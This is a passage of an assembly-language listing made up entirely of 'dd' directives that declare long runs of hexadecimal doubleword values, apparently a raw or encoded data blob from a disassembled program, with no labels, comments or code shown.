		dd 0C6308B38h, 19549834h, 205CC2F4h, 210365Fh, 0FE77D436h
		dd 0C0D051h, 0D2AB2C7Eh, 527BE616h, 668041DDh, 0CFDC1D8h
		dd 0D6EB0BF0h, 1387AA62h, 2CB7A05Bh, 1E0091DAh,	0F2600C40h
		dd 2EE2764Fh, 41D84AA7h, 70340826h, 0C70189C5h,	9B52188h
		dd 0D852DD15h, 18705ED6h, 5076C177h, 0C4416168h, 0A28212h
		dd 5DC00092h, 7E65DF67h, 16005CBCh, 8595F963h, 362300FDh
		dd 0FF3366E0h, 6CBE90A8h, 0BEA44069h, 1CBA9FC6h, 7E882CD3h
		dd 8FE50968h, 6295A4A1h, 506CF867h, 0F3BECE13h,	0B883F300h
		dd 1D563CAh, 578BE2F2h,	7491F90Ah, 5CA8CCE4h, 0F42A633Ah
		dd 5B02EC97h, 0DEFD17EAh, 0ACB87B45h, 25881D08h, 0A884A446h
		dd 0A64FE088h, 0F517BC90h, 0C84ED5BCh, 0DD0F10B0h, 81FF854Dh
		dd 0A84F116h, 0B8D06EEDh, 43B4412h, 426B134Ah, 10A48103h
		dd 7E743071h, 25403160h, 0C78CDE3h, 54F13AD7h, 0FC07DA28h
		dd 0CEF4830Dh, 0E1C513Bh, 490ACCF5h, 0D87641D8h, 2CD07543h
		dd 31E51A1Ch, 3D3C4059h, 0C2D10885h, 782FEF4h, 2D7530Ah
		dd 18F8D46Eh, 0E84CB735h, 76020CEDh, 346682A7h,	70602555h
		dd 0E57D0C20h, 9D28BE73h, 358C80FCh, 4FCACD2Eh,	3ECF7016h
		dd 8F993C06h, 0C9500E58h, 0FC80FEB2h, 483E8B6h,	945D0C70h
		dd 19892FA0h, 203B02B0h, 2566C92Ch, 3C33A34Ch, 56087FBh
		dd 71C14C88h, 118A4A13h, 2614F1CCh, 58442770h, 4C8B44Ah
		dd 44A406FBh, 413487DBh, 0F411A561h, 13B3AA3h, 0F917C5C0h
		dd 3E30968Ah, 0EFCD4B80h, 173A74DEh, 10FCF255h,	3E17080Ch
		dd 3FDC00D1h, 8D6DF464h, 81448D6h, 78D08930h, 0A43FE2A8h
		dd 0E43A2008h, 2731DC20h, 0BC649457h, 465A080h,	797890A1h
		dd 20D72568h, 4C62B298h, 0B453DEDh, 40908D80h, 3C1279CDh
		dd 0F253EC04h, 0E88B88FEh, 0B4606827h, 8095B73Fh, 0B188F2A4h
		dd 2421193Eh, 2951D06Ch, 9730208h, 518A3B7Fh, 0C99A01E0h
		dd 93FF30E5h, 0D4C87750h, 0FB6DF88Ah, 548B188Dh, 1B0422D1h
		dd 0C5F19139h, 4A36A0DCh, 0E570C074h, 0C8B04B93h, 0F530090Fh
		dd 0D3E78F7Bh, 1378D414h, 5088FDAEh, 0C8DC4DF5h, 0FFBD0403h
		dd 504D8DF1h, 0D4640BACh, 0C4D40BEAh, 24827744h, 81FC4425h
		dd 0EFDD0460h, 0E6430C3h, 8CBB3200h, 0ABFE5F57h, 6B11C10Dh
		dd 349BE56Fh, 3E4870D4h, 0BECD8730h, 0B0E99180h, 501778F2h
		dd 97208E6h, 0FE874B18h, 0AB7DC02h, 0FFAE4460h,	11A3352Dh
		dd 812F957Ch, 80B80A14h, 561C3FF1h, 13806542h, 9C3489E5h
		dd 8BCD7B8h, 5963CC3Dh,	1BF21354h, 9029A4A5h, 1754065Bh
		dd 0FB00F148h, 0E86D57F8h, 135218BDh, 0CC8AEF76h, 2BF7B1B8h
		dd 0A78D461h, 37DDE5E9h, 96B41092h, 34005074h, 0FD74D196h
		dd 5E809B8h, 86FF3228h,	7FB84297h, 0D4603D67h, 1CA036E0h
		dd 0EBE29812h, 53E5890Bh, 12C0C432h, 84C53764h,	5808C23Ch
		dd 5F0A7CD0h, 90FC350Ah, 6A299822h, 461774EAh, 5D16EC00h
		dd 0B059DDCh, 738070C5h, 0BD89B800h, 9090510Dh,	0F2687500h
		dd 0A1F37247h, 3D9BEA8Ah, 4D1CC9CCh, 8D0946BBh,	5800A8A5h
		dd 6648C528h, 9C801CF4h, 0EAC9308h, 0E3060A74h,	0DB09E95Ah
		dd 227AB709h, 51570778h, 60164298h, 0DF42C60h, 83F29E00h
		dd 776C7ACCh, 45AE1309h
		dd 0E60C00D7h, 3943E92Ch, 9B40CC98h, 0BBA40285h, 26E5B53Eh
		dd 3D0450D4h, 18E751DDh, 50BFB10h, 8D770A55h, 0ADFA4490h
		dd 58FD7B73h, 121EA0A4h, 9D150085h, 5017E34Ch, 6009BD12h
		dd 0CC670881h, 4D7FC3Ch, 44791E08h, 5492F70Bh, 0C93040AAh
		dd 0F6DF805Ch, 0F4CC4C50h, 9404BB5Ah, 2CE8A7ADh, 4875F582h
		dd 90640CDCh, 0F154EDD2h, 40FF04C4h, 267CC213h,	529907Ah
		dd 604278B8h, 0C5C20025h, 3600C92Ah, 0E9CCE41Ch, 0E2A3390Eh
		dd 17137772h, 0C67984Dh, 5550F9D0h, 0F0B031F9h,	0D42868E5h
		dd 1420B8C4h, 627C9EADh, 947CA80Ah, 0CA756D02h,	62A45631h
		dd 590096A2h, 0C02F8D0Ah, 0A3650828h, 0CD003082h, 0ED74D8C3h
		dd 2172C60h, 0D74489F7h, 0B48B4E16h, 0AA23EC00h, 0C0FF70E4h
		dd 80D2482Ch, 7BC3A405h, 0F3D330E9h, 1C285F78h,	0B5107CD4h
		dd 0B0D5C024h, 0EA2EF1A4h, 20A66C8Ah, 0BCBCB134h, 43AECB04h
		dd 998D855h, 0EA5EB120h, 22E854h, 828C14D0h, 47031226h
		dd 0C29ED40Bh, 92248346h, 1937C1B1h, 0A379F4F0h, 77AFA082h
		dd 12B6005Dh, 37E4AE8Eh, 0D41DE711h, 0B0C35F0Ah, 0C10B4F16h
		dd 0F1C84D48h, 0E58F0018h, 9E776628h, 8E0113F5h, 93F35972h
		dd 1087D026h, 0C09FD20Bh, 0B287CF22h, 0A2002EF8h, 962C4692h
		dd 0FBB9277Ah, 9CB03ED7h, 158A18FCh, 7D5FC18Eh,	0B21F5703h
		dd 3F450Bh, 43643618h, 0F4FDF8A4h, 0A2B97B0Ch, 9A41BAh
		dd 93318946h, 789439AAh, 0EC204B00h, 9092A403h,	0FA340F99h
		dd 0BA0A583Ch, 50940A08h, 517C0014h, 259A16D9h,	0F88F4807h
		dd 23C021B9h, 0F670D4D0h, 0FE500C7h, 905E4C0Dh,	0E40059ADh
		dd 0FCF43719h, 12D0095Dh, 596F712h, 5AB8E87h, 432548A4h
		dd 17BCA588h, 9450308Eh, 7F0B1A84h, 32E420Bh, 713C6DBCh
		dd 0C0A656h, 9D3AA018h,	0FE12B75Ch, 0EFA62500h,	26C17119h
		dd 484461F4h, 8002D9B9h, 828093A8h, 0A0BDD550h,	7AF4BCB6h
		dd 0E160172h, 0E3FC660Dh, 18A8990Ah, 19ECC588h,	690905A3h
		dd 5548F0Ch, 44759B4h, 7E26BCh,	0ED16E358h, 61990029h
		dd 4ACA2375h, 6E0CCEABh, 4050F18Ch, 1AB61CE3h, 13D54D0Fh
		dd 0D3E00049h, 4F05936Eh, 7478B92Fh, 0E4A9D800h, 0C6B6970Bh
		dd 0C99A2C28h, 31D2420h, 0F87D659Bh, 2AA0F50Bh,	9650EF7Bh
		dd 3F0217A4h, 477763F4h, 0A65840B9h, 488DF694h,	0EC180A9Ah
		dd 0F9772858h, 0DF884C63h, 0B9910CD4h, 7B80F84Bh, 5199D932h
		dd 38F0E27h, 4605CCA0h,	0F1F77B6h, 0B1C08514h, 3DF4515Bh
		dd 43C53E82h, 3EDC0590h, 73E0E188h, 0BC247FB9h,	0BE00D70h
		dd 2070194Eh, 0ECC19298h, 0C4BE7737h, 0C67EB083h, 0B9908CE8h
		dd 38C7F90Ch, 5406734h,	0D5A3E937h, 0D40084D0h,	0FC212D77h
		dd 0B0C1C0BAh, 0B1B70BE1h, 4F572083h, 0FCA87EB2h, 20849CFFh
		dd 0D500A68Bh, 0B7AE184Ah, 907B5414h, 0A8927C70h, 8061D190h
		dd 0F73E0E0Bh, 0DD488Dh, 78C48B95h, 0D8104Fh, 3BCD5394h
		dd 9A0BCB3Fh, 51587D62h, 0BB2480D7h, 0F6A1684Ch, 384A370Ch
		dd 0F06C3020h, 0FC1214A2h, 380219C3h, 81B42D78h, 5E588B80h
		dd 1325C857h, 5D47F80Fh, 89E9609h, 0B6403004h, 932B17h
		dd 2586553h, 12C852E8h,	3B46C33Eh, 50278096h, 0BBA2F4D6h
		dd 0E60E0A99h, 8C479ADh, 5B00416Ch, 0BE8AB217h,	784C928Dh
		dd 12797427h, 20EA0FFAh, 93025110h, 5F1579C0h, 48176FF4h
		dd 1490D847h, 0B4FC2A04h, 917026Bh, 11AC9952h, 989AD5C4h
		dd 4C2C4CB8h, 4FEF3B83h, 80DA4499h, 74EB6C48h, 26A06D8Ah
		dd 0F4405EEh, 0C3411EF1h, 80B7DC0Bh, 0E5D22768h, 2861E175h
		dd 7C80A4Fh, 6924A755h,	0FCCD3085h, 78C039D1h, 6A9823ECh
		dd 140B004Dh, 0B7A39B46h, 0EA18BAE4h, 0D5405A1Bh, 0B8750F94h
		dd 196797F2h, 4E7D80B0h, 780C5A52h, 781ED70Ch, 9EEB0189h
		dd 75FC37F9h, 8F60875Bh, 0FF00521Fh, 0E187780h,	70BE23EDh
		dd 8C3310D2h, 30061069h, 0E61E30C5h, 4109A153h,	0E7000108h
		dd 7FE0A020h, 8520C34Ch, 4F90A1F9h, 6400D311h, 1D466947h
		dd 19E23EFh, 2F16176Ch,	0C67E65D1h, 3E9C840h, 52D29107h
		dd 1183F1F9h, 5B111204h, 59C4072Fh, 8CE4C4F4h, 0A84076F8h
		dd 0C750A9Ch, 80F473ACh, 718CA506h, 7709D95Fh, 92A05B9h
		dd 594CA444h, 49761882h, 0C820A51Ch, 0C0D87B77h, 0FB1A358h
		dd 0E17DFCBFh, 3EA27F09h, 29568307h, 0D1600023h, 2562BC03h
		dd 0F5F9F446h, 0D5798065h, 873350D3h, 6EE000E4h, 0D19FCE7Ch
		dd 0A31DED05h, 0A9146792h, 0C0FF39BCh, 422038C3h, 4078EC48h
		dd 10998F2Eh, 2DA9FC06h, 70E86F28h, 91DDE05h, 6C8F1EB8h
		dd 203B3C0Eh, 37DCADB0h, 0B1ABDF0Dh, 4C35E894h,	4CF104E1h
		dd 5F0B0840h, 6FC9CB31h, 7F51DC03h, 4A810800h, 0FC2B4BADh
		dd 30C16192h, 22D2DFE3h, 8FFE00A0h, 776D4E4Bh, 186561DDh
		dd 5128E48Ah, 0D5D1C8h,	3874B68h, 0BF7501Ch, 20746EF9h
		dd 0C277D80Ch, 77E1386Dh, 94FE00DCh, 0FA85F2C7h, 0CF80253h
		dd 0B09A48F2h, 0B7B1490h, 85347B5Dh, 0DC22275Bh, 6584821Dh
		dd 6D78C085h, 5C3678BFh, 1323846h, 0BC612128h, 0E20420E6h
		dd 0EE6E1440h, 0F862554Bh, 9AB891F2h, 0C3E0E821h, 6328CE0Eh
		dd 3E1CFE0h, 0ED0547D8h, 0C7442B5Ch, 0A9508B18h, 9438CEB8h
		dd 1A3BB2E0h, 0AEF875C6h, 0D4D4D45Ch, 6D780C18h, 9B7B7028h
		dd 0A6770680h, 7D701827h, 0D89DD605h, 3CC87990h, 28506560h
		dd 78E02647h, 232C9010h, 0B0AF443h, 41D47183h, 0F88A3FE8h
		dd 0E0A83777h, 0F4580A0Bh, 1910104h, 0F1388893h, 8890A4E7h
		dd 91337D2h, 0B0070C54h, 637ACAFh, 598F3114h, 6A0091E0h
		dd 180F30A9h, 19067248h, 68FCF9E2h, 23D612D4h, 0C0E1CBD5h
		dd 0D318813Bh, 0B88AFC23h, 0DB93B080h, 0C0B2825h, 60AB5D30h
		dd 87D950h, 0EC5C6A3h, 8493CF11h, 0F9911200h, 0C1BEA294h
		dd 0BA180A16h, 80B0DF0Ch, 37ECAE68h, 81D3E70Fh,	20A4500Bh
		dd 46CA9CBCh, 0F54E008Fh, 88444D1Ch, 9564F00Ch,	8C92D28h
		dd 24218860h, 1D383745h, 0FDF1F0F1h, 0B3008D2Ah, 680D0F72h
		dd 197FA72Bh, 60ECACB9h, 0E0E6E574h, 10C16E9Fh,	16877764h
		dd 29768881h, 0BA70E0FCh, 1FDC01F0h, 0B936C856h, 3081B1E5h
		dd 0CA0C6F3Bh, 88708047h, 533040Ah, 0A46931FCh,	204F1938h
		dd 5D41C804h, 0B9D26830h, 21E9278h, 2D9FC04h, 0FAB80C60h
		dd 8A641AF8h, 44D1C060h, 4F30F78Eh, 14F50078h, 6D3C180Dh
		dd 0B72E8A52h, 80F8C12h, 0F240066h, 50B9D0Ch, 0DBF9BC8Eh
		dd 326480E7h, 0FA09ECDFh, 906833FCh, 1337D438h,	5A4865F6h
		dd 0B4C11034h, 0A822D6h, 0C58AE568h, 0E639DD2Fh, 8A54AFCh
		dd 0F0261A50h, 0B85B4ACh, 0CC5626A4h, 0B92B8C01h, 488FACB5h
		dd 9883AB17h, 8109F9FCh, 44F880F6h, 314402C4h, 0E377E156h
		dd 93B244E9h, 10051190h, 0F8811917h, 98225294h,	54887214h
		dd 15551412h, 21C224DAh, 850992CCh, 0E804F190h,	1013835Ah
		dd 6C501458h, 196E6096h, 0C462BB0Eh, 3CD17E3Bh,	9CD59712h
		dd 75883001h, 96C8B6E7h, 38240A4Eh, 0E006EFh, 8D46BA9Ch
		dd 83010C6Bh, 905B9440h, 0B9603CE3h, 0B81548B5h, 0F084F100h
		dd 0C8CB2085h, 20FD7126h, 0EB50203Bh, 4C82FCF0h, 2280DC95h
		dd 0B9409B2Bh, 680AE733h, 0B5ABE06Fh, 0E020C066h, 5972F917h
		dd 1477FE09h, 16466FDh,	9BCCF42Fh, 60231873h, 1CB0ACBCh
		dd 0ECC79018h, 988E510h
		dd 64B9D54Eh, 8933A461h, 88FC6CE8h, 8612F432h, 2EA74806h
		dd 0F6790E20h, 0C792E43Ah, 0BEDE8094h, 6C26FFB9h, 0A380B822h
		dd 57B61D4Ch, 0FC8405D4h, 0D1F6B95Fh, 31B29EDCh, 293121ECh
		dd 0FCB040A4h, 4401484Ah, 0F6905342h, 75BBA2C8h, 0DE60249Bh
		dd 90A614h, 6314D5E1h, 5848FB16h, 23431634h, 98BA0440h
		dd 0AED6FBDh, 92A48014h, 0E1630008h, 0A32B3FDDh, 99B9620Dh
		dd 54759075h, 82A0C430h, 5C2C9053h, 0FCB3AB01h,	20806236h
		dd 15B9E3EDh, 763EA77h,	0EC258028h, 4B73488h, 8D632E0Ah
		dd 0E65C8097h, 49636F0Bh, 0D26E3650h, 6684404Bh, 0A9EA8082h
		dd 0F85AE44Eh, 0A888E891h, 703F895Eh, 0B0A02D78h, 0A25006FAh
		dd 0B008FBEh, 661119CEh, 0B01A3949h, 0AF4B0641h, 0E00C0DFCh
		dd 988AF500h, 0B976F43Dh, 0A8E3603Fh, 2CDA7765h, 0A3649496h
		dd 98891C87h, 0BFA59BCh, 0CF8B75DEh, 0ED804B89h, 0A2EDDB79h
		dd 0A803CA79h, 0B9E98F6Eh, 0A840CD7Bh, 796D3F06h, 0D8F460E7h
		dd 0F0AE0C2Ah, 520028B0h, 0D9451109h, 98198F1Ch, 3EAE328h
		dd 79F0E810h, 0B9163788h, 90400F89h, 30391678h,	0D80C1019h
		dd 6C2A0F32h, 81B9A3E1h, 96783BF1h, 0FC1324BCh,	2C5C5598h
		dd 14389C24h, 260EA853h, 21D3942Dh, 895A320h, 9AE0909Ah
		dd 193F898h, 4456997Eh,	4CA45114h, 62CFC8Ch, 7280083Dh
		dd 0F040A780h, 0E6D50FF8h, 5E84E3D2h, 0E1FFC07Dh, 9B1593AAh
		dd 4BE87E67h, 77D01C37h, 49C6B9F7h, 8741AC26h, 0BA0A742Dh
		dd 6BC4A3E3h, 788A9821h, 891C646Ch, 0AAA824F1h,	0A8811CB4h
		dd 0A96509C1h, 707F93D0h, 77DB0CFFh, 23F02A56h,	0C6EAF3Fh
		dd 5844F45Eh, 0B24F1E03h, 773703ADh, 280054D6h,	700A367Eh
		dd 0B87A3889h, 3AC89434h, 77AF2002h, 0D060AD19h, 0E009D180h
		dd 20B853E7h, 17662D5Ch, 0D6522406h, 0E60F4288h, 5748B464h
		dd 807E26A8h, 0E23F0B0Fh, 96E58F74h, 3E51EA90h,	0C301EEF4h
		dd 56FC934Bh, 0C1508F6Ch, 2453B33Eh, 7E0B6080h,	3090EFh
		dd 19EE10FAh, 84F58A6h,	8394D801h, 9B86296Ch, 91C56E4h
		dd 0FBD12BBCh, 0C8B08006h, 0DDBBA41Ch, 720919FDh, 5110D1B0h
		dd 9A0007D6h, 2173359h,	6BA9FC2Ch, 5838D8A3h, 8B8ADD06h
		dd 3F749124h, 0B03D6C4Dh, 9A34FC0Dh, 40C5E148h,	837686D0h
		dd 0F6847702h, 66A270B9h, 6E4FF098h, 0C2C9106Ah, 7800A08Bh
		dd 0EA370455h, 7B1A1976h, 49508974h, 0BC2063CCh, 20144D41h
		dd 7D772E79h, 0B9CE823Ch, 0B4AEC280h, 511F3BA0h, 9207A3D9h
		dd 11AB994Ah, 0FD7A77C0h, 0BB80CDFh, 2C4836CAh,	324E1C03h
		dd 12852855h, 918F7B40h, 168B884h, 98BCFCA9h, 25F85992h
		dd 0CCE494C4h, 820B8BD8h, 66A66F38h, 0D0B4A610h, 0D07B419h
		dd 0C49932A8h, 260CB32Fh, 0FC629C55h, 8FE068F0h, 0AAB913EFh
		dd 40188D23h, 18198A74h, 3C402C26h, 3024BA0Ch, 94DA1FDEh
		dd 0C77F007Ah, 0E86077EBh, 0F0E1C8CAh, 0EE0BF940h, 0D8A5F1A9h
		dd 23F6C802h, 6489AD27h, 484F42DCh, 2178459Ch, 10986904h
		dd 0D11316C2h, 9A7C0110h, 88526244h, 0DBC3A98h,	0FDD83F19h
		dd 1790301Bh, 6C2B1A02h, 492C1D16h, 887628B8h, 0D4B10B15h
		dd 2CCCD924h, 0CC9016DCh, 0A8418218h, 40763460h, 20A04898h
		dd 6D12A34Bh, 0B0353F15h, 10DDD809h, 0C0EBF188h, 9176999h
		dd 9100D026h, 0E53DAC72h, 9C3D1E1h, 0D851F7B1h,	0D29144EBh
		dd 24B420C7h, 0BA9EB816h, 94682099h, 0C91703C4h, 38882D48h
		dd 541BAC77h, 0AF573887h, 82FC1049h, 0BFBA80EDh, 12486849h
		dd 84308523h, 146A30Ah,	64589A2Ah, 33D514B9h, 0D12E789Ch
		dd 0CF6504F7h, 957F9446h, 73FC80F1h, 9E9D31B9h,	0E9BBC728h
		dd 780EC360h, 17776429h, 5807E056h, 0EF170E2Dh,	82755180h
		dd 0E58C00C1h, 733BDD50h, 8700C821h, 0B66CB8ABh, 49BEB9E4h
		dd 6E048095h, 904BB0Ch,	990C45Ch, 6FF44F15h, 2CDFD849h
		dd 228E104Ch, 38A8304Eh, 808AD7ABh, 56CC21B8h, 47110C96h
		dd 1A38F217h, 606C8141h, 73E56300h, 3606D238h, 0F056CE4h
		dd 0E67DBA14h, 411918C7h, 0D4386B70h, 48906F2Fh, 7F80AA15h
		dd 0E70930B9h, 5C78E478h, 8FFAA076h, 6284DA49h,	82318E8h
		dd 0F02019BCh, 535C4028h, 0A95F92FBh, 0B8C07C25h, 0D5ED74B9h
		dd 0A58FAC58h, 47771781h, 1410A960h, 13DA308h, 75FC9A26h
		dd 0B82DB3h, 2C88204Eh,	3577E2D1h, 0A392D31h, 8C49734h
		dd 0CD017E86h, 2BE17554h, 0E26C3C30h, 1A2A260Eh, 4D2F0094h
		dd 9AA38FF8h, 4BF05C01h, 0A54CFCE7h, 77E46887h,	0A63B822Eh
		dd 71653C80h, 17037AC7h, 0BFE4660Ah, 0AC180019h, 0D178BA80h
		dd 5F481A11h, 354619F4h, 0A841E238h, 28636D7Dh,	0F5CA8D00h
		dd 7B94F059h, 0A1205F03h, 80916801h, 4AE80B93h,	9A300197h
		dd 0D6AD0C61h, 640460C4h, 0EC733483h, 5423CC2h,	3378DD2Eh
		dd 0AC6A3750h, 8220EEE2h, 0E49A9ED8h, 960B1830h, 0B8D5288Bh
		dd 4BAFE200h, 0EF97B740h, 0E9C20069h, 0A4D72E08h, 0EA1D0152h
		dd 833A6E26h, 632AA2B9h, 504CD149h, 8C671481h, 0E8572505h
		dd 58814E04h, 0E7EB75C1h, 1EDEA2h, 3381C282h, 0C533E30h
		dd 7CB036BAh, 66F20E52h, 5F8E3Ch, 3D55D6EAh, 0C9770290h
		dd 3F927630h, 144CAEBh,	2D8C1AE6h, 88C58425h, 1802EE60h
		dd 6952868Ah, 0B751FD0Fh, 0F298C753h, 9EB11D0Eh, 690145C1h
		dd 39C360A4h, 0B7EF13F4h, 0C2D3E61h, 0A01D8CE0h, 431C6931h
		dd 13A07822h, 0C4730259h, 353517Ah, 4288330Ah, 913A978Ch
		dd 0F72DEA41h, 207790A4h, 605EF623h, 0F9020A89h, 56005A60h
		dd 15692CBEh, 2C6824Dh,	1F5249D7h, 62F53FEAh, 8A201006h
		dd 0B7251515h, 0B3C00B85h, 8CCEA7Bh, 3DB0C080h,	0F8018F06h
		dd 7E8C2E0h, 2E6E8253h,	70BED54h, 27C3130Ch, 18FAF6B0h
		dd 8A257200h, 0B9515EEBh, 0C350015h, 59C30208h,	5B48D832h
		dd 17392306h, 970DAA56h, 0D912196Ch, 0CA10D82h,	4084C606h
		dd 228EA84h, 226395E7h,	0D9F88262h, 9340D062h, 31EA60FCh
		dd 0B322E9C6h, 3FE2DC35h, 0EC2A40C3h, 3CF3F95Eh, 15554524h
		dd 31C88260h, 8814F03Bh, 0E215C93Dh, 7119C35Ch,	458450D8h
		dd 0C32727A3h, 222C6B6Dh, 3E38235Dh, 155F3E35h,	1CDB9792h
		dd 0C99E82F0h, 5E3257C6h, 0EAFE885Dh, 291B6036h, 0EE8460FEh
		dd 112D7ECAh, 15008A12h, 1FD4C058h, 0CF3E520Bh,	0BDB80432h
		dd 40E9C3C1h, 0D9EAFEAAh, 0A5C2A40h, 53F08954h,	411E6EFCh
		dd 8850240Ch, 58C1C8F8h, 0E90ECAEAh, 21FFE5BBh,	9C240421h
		dd 0C7D6F8E4h, 9F1C8B12h, 800FD21Ah, 30FE324Fh,	3C875E1Fh
		dd 0D35C241Ch, 20DB3BF2h, 4C6835Fh, 22348733h, 1A5C748Fh
		dd 4C8A55E9h, 8708363h,	7744813Fh, 1F37B101h, 0F483E929h
		dd 12054694h, 0EC3B317Ah, 0DCF23114h, 18CF66BAh, 104FA652h
		dd 19E8FA0Ch, 0E236D68h, 0BE7A8C89h, 33214301h,	8B14FFF0h
		dd 0C4830601h, 226B6804h, 0E6361857h, 74703054h, 0C281E217h
		dd 868344A1h, 5B40E90Ch, 0EEC51BDh, 0ABB9B010h,	252F033Bh
		dd 159CA29h, 0B80429Eh,	3DC24DE9h, 0A41CF766h, 89413F9Ch
		dd 42C581E5h, 9498532Ah, 0D9669EE9h, 20A4AD26h,	681841B7h
		dd 0A2234029h, 0DD0AD091h, 45E5608Ah, 0C87A1E0Ch, 520A46E3h
		dd 0C68C2FBAh, 4B90A8Dh, 1D3339F5h, 57F7C0C1h, 251E2EBFh
		dd 0E20D2704h, 77C852E3h, 669D1C1Ch, 14D38C59h,	0D540DACBh
		dd 38809FBFh, 81D7F716h
		dd 2B68CF07h, 0EF613FB7h, 0FFD8BB7Bh, 0F8FE5001h, 477BD02Eh
		dd 0A4C487Ch, 51BB5930h, 8129E189h, 0CB7C5C1h, 5274FFC3h
		dd 5514322Bh, 5D0E1368h, 1D74E901h, 3152338Ch, 0C02506D4h
		dd 1AC083BEh, 6A7DF42Fh, 0B9182B6Ah, 74682A73h,	0EC89689Bh
		dd 7A7AEDFDh, 0D011ABB0h, 52CAED12h, 0C15D8088h, 414907E1h
		dd 77F18100h, 29CADE6Ch, 67E91BC8h, 5607D74Fh, 0BD242C89h
		dd 7B464ED0h, 421638BEh, 0EE31560Ch, 7F09E6CEh,	8855767Ch
		dd 4A9D9F75h, 0A0717E8Ah, 125AD689h, 2E440BFh, 48490014h
		dd 3EEC146h, 0F76028E9h, 84CD819Ah, 5D6B283Ah, 6D4C49E0h
		dd 16A6F204h, 66368107h, 552C9CD7h, 302AECF6h, 0FA6D4E9Ch
		dd 0BF00EA81h, 5040A476h, 586538B8h, 0C218A087h, 0C481328Bh
		dd 5F2898A4h, 316CA233h, 0EFE90D06h, 9EA7A8EEh,	1DE16806h
		dd 0E1545010h, 3EB9312h, 53CA25EEh, 525EF1C0h, 5040D491h
		dd 0A828A5E9h, 131A95EDh, 9293B75h, 25A9FB1Eh, 0E5C8ED0Ch
		dd 6DBEDF49h, 0E2EF4DA8h, 0D6F70270h, 81059981h, 0C860D4C6h
		dd 0F129FF13h, 48E92443h, 562A2689h, 8626361Fh,	0EA680F91h
		dd 3488B8A9h, 478F077Eh, 0D43D8340h, 0F6D7993Fh, 80C70848h
		dd 0F76BC833h, 0CAC6A0D1h, 0CDBCA843h, 58876459h, 801D895Ch
		dd 4F2EBAC5h, 0EB82A8Fh, 908269E9h, 3A3BC486h, 17305A7Ah
		dd 81590C0Dh, 0C7E8F9E1h, 0EF4ED43h, 1BEC2446h,	0AF400053h
		dd 0CD89836Ch, 8B401EFAh, 7922E966h, 0A5C9010h,	795BF830h
		dd 29C9C94Fh, 96932AEh,	139D1658h, 4E183AE9h, 22C07A69h
		dd 0D3F75B47h, 1DF38100h, 89BEA0D7h, 0F901F6DEh, 0C857C053h
		dd 99C781E7h, 0C90CB40Dh, 3BF7F44Eh, 701A4C04h,	80C1E7C1h
		dd 698C0FA1h, 0C0AD1B6Bh, 0ED45F56h, 0C77B2165h, 8806C81h
		dd 377E0AC5h, 0C5112935h, 5D0C2044h, 632CE95Eh,	54A680D3h
		dd 0D021803Ch, 0FC0095Ah, 0BA13184h, 11632079h,	88046E26h
		dd 7662ED33h, 925A31Bh,	1C6E9800h, 1345EA5h, 816ECDFh
		dd 56C5BC01h, 0CFF967DBh, 0F2F0E747h, 13089076h, 50C8E95Bh
		dd 0D94C9949h, 0BA44E1D0h, 58614081h, 0E1FA5ECAh, 182D08EEh
		dd 0EAC1CE89h, 90D10624h, 0EAF5220Dh, 9A304060h, 0C8281C72h
		dd 702C4059h, 80EBB353h, 0E98BC306h, 4CD5A64h, 8C27C6EDh
		dd 0D5CDC42Bh, 1C2308C9h, 0E31F4212h, 0CA71A701h, 2396D389h
		dd 0A2D8215Ah, 39D8C7Dh, 3880BB66h, 0D303A8F2h,	99B2525Ah
		dd 68831206h, 302F56C6h, 59A4DC3Ch, 2990DBF7h, 1B022100h
		dd 55514B37h, 4E1303BDh, 4AE92C2Ah, 26160EEFh, 5815852Eh
		dd 0DD75468h, 7F086CE9h, 6A228342h, 68AC1136h, 2B891AFDh
		dd 30A4E7C2h, 0CCC5C4E3h, 1A90F372h, 21A52D64h,	0EC83E887h
		dd 25100069h, 3108387Ah, 2E00872Dh, 0D0F73309h,	0F406E8C1h
		dd 458B029Fh, 58C521BCh, 838B3F65h, 48C19AEEh, 14FEBBABh
		dd 81564F7Bh, 4D4BBA01h, 20DD3152h, 5D35E8AAh, 0D50BFD05h
		dd 927F1204h, 89B545F9h, 0DB2F6F68h, 82E12B2h, 7526235Dh
		dd 1C2B4641h, 0B9E0B7FBh, 7DF6D820h, 4A219A51h,	484EBC1Fh
		dd 2907405Ah, 0DF318198h, 0E4B635Ch, 3BD48C16h,	265CC552h
		dd 5E0167C9h, 0F772D101h, 0EA3F142Ch, 45879225h, 90FE4080h
		dd 5732CA83h, 7196226h,	93406010h, 58117875h, 0FE182A56h
		dd 0F8312EF0h, 2D3C8B29h, 3516884h, 0F25669CCh,	72384DD7h
		dd 0B92DFB86h, 0CED1452Eh, 0EB1FA66Fh, 0D92C0910h, 6C0EC330h
		dd 0CB61AC6Eh, 82DBF624h, 0B3E9FC10h, 64504A64h, 0D65C041h
		dd 42FA2A99h, 0C380C9F5h, 51985982h, 0FD865D9Dh, 388242BFh
		dd 35581E12h, 0D96068Dh, 0E1B0006Fh, 210A597Fh,	913E2BE9h
		dd 63B9E281h, 0A8EC2ADCh, 2716D48Fh, 972C63Fh, 0D6C6647h
		dd 4CE59307h, 307EB35h,	5F5BAC1Eh, 0F8DC375h, 60A45C70h
		dd 685C107Ch, 59AB7AD8h, 0BF57E198h, 0D16A309h,	4A8F8018h
		dd 24D119C9h, 951A82E9h, 0B7148D31h, 0FD053939h, 0C04D220Fh
		dd 37368650h, 0F6E9650Ch, 0EED37B6Dh, 20074912h, 5918CB3Fh
		dd 8BDF0F44h, 0A1531C4Ah, 90573165h, 2BFC3E54h,	0D208F829h
		dd 0EAC00F19h, 1B4C05D3h, 970B8788h, 0DE991E8h,	23B5A57Bh
		dd 0B0935C0h, 5AD78812h, 0FD44D48Fh, 0B90F80E6h, 0E01E89F3h
		dd 17FE2960h, 795A535Eh, 0A203C416h, 7A0E607Ah,	4A9F0469h
		dd 910C6DE9h, 4D0093Ch,	1D08CF01h, 0EED82277h, 630E025Bh
		dd 65F8E927h, 2B619BAFh, 80427E5Ah, 4610622Eh, 60D0E91Ch
		dd 4AC2205h, 0B15051F4h, 28602DFFh, 0FC68C8CBh,	4F8F9412h
		dd 0E9AC0556h, 2142D17Dh, 5F6024F8h, 67609EF6h,	68C7FE16h
		dd 0E1E3AB97h, 5C2431D9h, 0D07658E6h, 7A2040D4h, 4E8830Dh
		dd 6BB6533h, 18792241h,	5B03FF68h, 0E833F729h, 0F5298F4Ch
		dd 0BCC30086h, 0C7054535h, 9AAF5697h, 6DCE2D5Bh, 546743B8h
		dd 23C4E91Dh, 0F0C637B4h, 72BD220h, 84685A43h, 9DBA9942h
		dd 778BC7A0h, 4988FD61h, 90AE2807h, 1619B1C3h, 0BE5B543Eh
